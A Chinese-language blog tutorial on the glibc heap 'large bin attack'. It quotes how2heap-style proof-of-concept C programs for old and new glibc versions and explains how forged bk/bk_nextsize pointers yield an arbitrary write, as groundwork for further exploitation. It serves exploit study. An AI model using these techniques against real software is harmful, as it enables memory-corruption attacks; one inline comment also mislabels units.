Largebin Attack

参考链接:浅析Large_bins_attack在高低版本的利用

进入 largebin 的条件:

  1. 无 tcache 或 tcache 已经被填满:最小 0x200
  2. 存在 tcache 且 tcache 未被填满(7 个 chunk):最小 0x410

largebins 中含有 63 个 bin , 总体又被分成 6 个组,每个组对应一个区间。只有每个大组中的第一个堆块会有 fd/bk_nextsize 指针,其他堆块这个位置默认是 0.

老版本 攻击方式(2.23 – 2.31之前):

/*

   This technique is taken from
   https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/

   [...]

             else
             {
                 victim->fd_nextsize = fwd;
                 victim->bk_nextsize = fwd->bk_nextsize;
                 fwd->bk_nextsize = victim;
                 victim->bk_nextsize->fd_nextsize = victim;
             }
             bck = fwd->bk;

   [...]

   mark_bin (av, victim_index);
   victim->bk = bck;
   victim->fd = fwd;
   fwd->bk = victim;
   bck->fd = victim;

   For more details on how large-bins are handled and sorted by ptmalloc,
   please check the Background section in the aforementioned link.

   [...]

*/

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
   fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
   fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
          "global variable global_max_fast in libc for further fastbin attack\n\n");

   unsigned long stack_var1 = 0;
   unsigned long stack_var2 = 0;

   fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
   fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
   fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

   unsigned long *p1 = malloc(0x420);
   fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

   fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
          " the first large chunk during the free()\n\n");
   malloc(0x20);

   unsigned long *p2 = malloc(0x500);
   fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

   fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
          " the second large chunk during the free()\n\n");
   malloc(0x20);

   unsigned long *p3 = malloc(0x500);
   fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

   fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
          " the third large chunk during the free()\n\n");
   malloc(0x20);

   free(p1);
   free(p2);
   fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
          " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

   malloc(0x90);
   fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
           " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
           ", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
           " [ %p ]\n\n", (void *)((char *)p1 + 0x90));

   free(p3);
   fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
          " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

   //------------VULNERABILITY-----------

   fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
           " as well as its \"bk\" and \"bk_nextsize\" pointers\n");
   fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
           " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
           " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

   p2[-1] = 0x3f1;
   p2[0] = 0;
   p2[2] = 0;
   p2[1] = (unsigned long)(&stack_var1 - 2);
   p2[3] = (unsigned long)(&stack_var2 - 4);

   //------------------------------------

   malloc(0x90);

   fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
           " During this time, targets should have already been rewritten:\n");

   fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
   fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

   // sanity check
   assert(stack_var1 != 0);
   assert(stack_var2 != 0);

   return 0;
}

首先明确需要任意地址写的目标地址,这里以栈上地址为例(实战一般会去写 _IO_list_all 结构体):

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

然后分配 3 个大堆块,中间用小堆块(大堆块也行)隔开防止释放的时候大堆块之间相互合并。释放 p1, p2

unsigned long *p1 = malloc(0x420);
malloc(0x20);

unsigned long *p2 = malloc(0x500);
malloc(0x20);

unsigned long *p3 = malloc(0x500);
malloc(0x20);

free(p1);
free(p2);

现在的堆情况:

可以看到两个被释放的堆块都在 unsortedbin 里面.

此时申请一个 0x90 的堆块:

malloc(0x90);

可以看到 unsortedbin 里面剩了一个 0x390(0x430 – 0xa0) 的堆块,而 largebins 里面出现了一个 0x510 大小的堆块。整个过程是这样的:先把 unsortedbin 中的堆块依次放入 largebins 中(为什么上面那篇文章说 p1 被放入了 smallbins 中?),然后为了满足 malloc(0x90) 的需求,按照 fastbins–>unsortedbin–>smallbins–>largebins–>topchunk 的顺序扫描空闲堆块,遇到了 p1 于是将它切割出 0xa0 大小,再把切完的 p1 扔回 unsortedbin.

此时释放 p3:

free(p3);

也是进入了 unsortedbin,和割过的 p1 链接在了一起。

接着对 p2 进行伪造:

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2); # 这个 2 是 Bytes, 也就是 0x10 bits
p2[3] = (unsigned long)(&stack_var2 - 4);

将 p2 的 SIZE | PREV_INUSE 位改为 0x3f1, fd 和 fd_nextsize 均改为 0,bk 指向 stack_var1-0x10 处,bk_nextsize 指向 stack_var2 – 0x20 处。

此时再次申请一块 0x90:

malloc(0x90)

可以看到我们手动写入的 bk 和 bk_nextsize 已经被转移到了新进来的 p3 中去了。p1 又被割出 0xa0 大小后扔回了 unsortedbin 中。奇怪的是 heap 指令没有输出 p3 的相关信息,而 p2 也显示 Allocated chunk 而不是 Free chunk.

p3 被扔进 largebin 中时会执行如下代码:

while((unsigned long)size < fwd->size){
   fwd = fwd->fd_nextsize;
   assert ((fwd->size & NON_MAIN_ARENA) == 0);
} //这里检测的是从 unsortedbin 里提取出的堆块是否小于 largebins 里最近被释放的堆块的大小,如果小于,就将 fwd 向前移,也就是与比它更小的堆块对比
if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;//相等的话,就往后排列
else
{
   victim->fd_nextsize = fwd; //这里,victim 是从 unsortedbin 提取出来的堆块(p3),fwd是最近被释放进 largebins 的堆块(p2)
   victim->bk_nextsize = fwd->bk_nextsize; // 更新 p3 的 bk_nextsize 为 p2 的 bk_nextsize
   fwd->bk_nextsize = victim; //p2->bk_nextsize指向p3
   victim->bk_nextsize->fd_nextsize = victim; //p3->bk_nextsize = stack_var2 - 0x20,也就是说我们已经伪造了一个堆块,(stack_var2-0x20)->fd_nexitsize就是stack_var2的地址,将该地址赋值p3的头指针
}
bck = fwd->bk; // bck 指向 stack_var1-0x10 这个假 chunk

可以看到 stack_var1 和 stack_var2 的地方都被写上了 p3 堆块的地址。在期望的地址中写入地址后,接下来就可以结合 House of Apple 等手段进行攻击了。

新版本 攻击方式(2.31及以后):

增加了校验:

else
{
      victim->fd_nextsize = fwd;
      victim->bk_nextsize = fwd->bk_nextsize;
      if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) // 以上面代码为例,检测stack_var2-0x20 的 fd_nextsize(stack_var2本身)是否指向 p2. 不是就报错(破坏了 largebins 中的双向链表结构)
             malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
      fwd->bk_nextsize = victim;
      victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)// 同理,如果 stack_var1-0x10 的 fd(stack_var1本身)是否指向 p2,不是就报错
      malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

PoC:

int main(){
 /*Disable IO buffering to prevent stream from interfering with heap*/
 setvbuf(stdin,NULL,_IONBF,0);
 setvbuf(stdout,NULL,_IONBF,0);
 setvbuf(stderr,NULL,_IONBF,0);

 printf("\n\n");
 printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
 printf("Check 1 : \n");
 printf(">   if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
 printf(">       malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
 printf("Check 2 : \n");
 printf(">   if (bck->fd != fwd)\n");
 printf(">       malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
 printf("This prevents the traditional large bin attack\n");
 printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
 
 printf("====================================================================\n\n");

 size_t target = 0;
 printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
 size_t *p1 = malloc(0x428);
 printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
 size_t *g1 = malloc(0x18);
 printf("And another chunk to prevent consolidate\n");

 printf("\n");

 size_t *p2 = malloc(0x418);
 printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
 printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
 size_t *g2 = malloc(0x18);
 printf("Once again, allocate a guard chunk to prevent consolidate\n");

 printf("\n");

 free(p1);
 printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
 size_t *g3 = malloc(0x438);
 printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

 printf("\n");

 free(p2);
 printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
 printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
 printf("               and one chunk in unsorted bin [p2] (%p)\n",p2-2);

 printf("\n");

 p1[3] = (size_t)((&target)-4);
 printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

 printf("\n");

 size_t *g4 = malloc(0x438);
 printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
 printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
 printf(" the modified p1->bk_nextsize does not trigger any error\n");
 printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

 printf("\n");

 printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
 printf("Target (%p) : %p\n",&target,(size_t*)target);

 printf("\n");
 printf("====================================================================\n\n");

 assert((size_t)(p2-2) == target);

 return 0;
}

目标——栈上的一个地址:

size_t target = 0;

分配 large chunk, 对第二个 chunk 的要求:比第一个小,且需要在同一个 large bin 内。

size_t *p1 = malloc(0x428);
size_t *g1 = malloc(0x18);
size_t *p2 = malloc(0x418);
size_t *g2 = malloc(0x18);

释放较大的堆块,p1 进入 unsortedbin:

free(p1);

malloc 一个比 p1 更大的堆块,将 p1 推入 largebins:

size_t *g3 = malloc(0x438);

释放 p2,p2 被扔进 unsortedbin:

free(p2);

将 p1 的 bk_nextsize 指向 target-0x20 的地方:

p1[3] = (size_t)((&target)-4);

malloc 一个比 p2 大的堆块,把 p2 推入 largebins,p1 指向 p2:

size_t *g4 = malloc(0x438);

由于新插入的 chunk 比最小 chunk 还要小的时候 glibc 不会检查 chunk 的 bk_nextsize,所以上面的篡改不会导致错误。

至此我们已经完成攻击,target 中写入了 p2 的地址。

上一篇
下一篇